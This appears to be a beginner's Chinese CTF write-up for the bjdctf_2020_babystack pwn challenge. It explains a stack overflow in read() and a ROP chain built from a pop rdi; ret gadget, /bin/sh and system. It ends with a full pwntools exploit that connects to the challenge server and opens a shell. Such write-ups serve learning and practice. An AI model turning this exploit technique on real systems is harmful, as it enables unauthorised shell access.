小白做题笔记而已,不建议阅读

只有一个NX
64为程序用rdi传参
 
 
read函数存在栈溢出
 
shift f12
有system函数调用,并且存在/bin/sh
去找有没有pop rdi ret
ROPgadget  --binary   bjdctf_2020_babystack  --only   "pop|ret" | grep rdi  
0x0000000000400833 : pop rdi ; ret
有的,所以我们的利用思路就是将返回地址先覆盖为pop rdi ;ret 的地址,将参数(/bin/sh)传入rdi
那么pop rdi ;ret 后边的内容就应该是/bin/sh的地址了。
然后再将system的地址填充进去,这样pop rdi ;ret;执行ret的时候就会去执行system
exp
from pwn import *
debug=0
if debug:
    p=process('./bjdctf_2020_babystack')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
#    gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',25681)
def ru(x):
    return p.recvuntil(x)
def sel(x):
    p.sendline(x)
# ROPgadget  --binary   bjdctf_2020_babystack  --only   "pop|ret" | grep rdi
#0x0000000000400833 : pop rdi ; ret
sys_add=p64(0x0000000000400590)
bin_sh_add=p64(0x0000000000400858)
pop_rdi_add=p64(0x0000000000400833)
payload=b'a'*(0x10+8)+pop_rdi_add+bin_sh_add+sys_add
ru(b'name:\n')
sel(b'666')
ru('name?\n')
sel(payload)
p.interactive()




















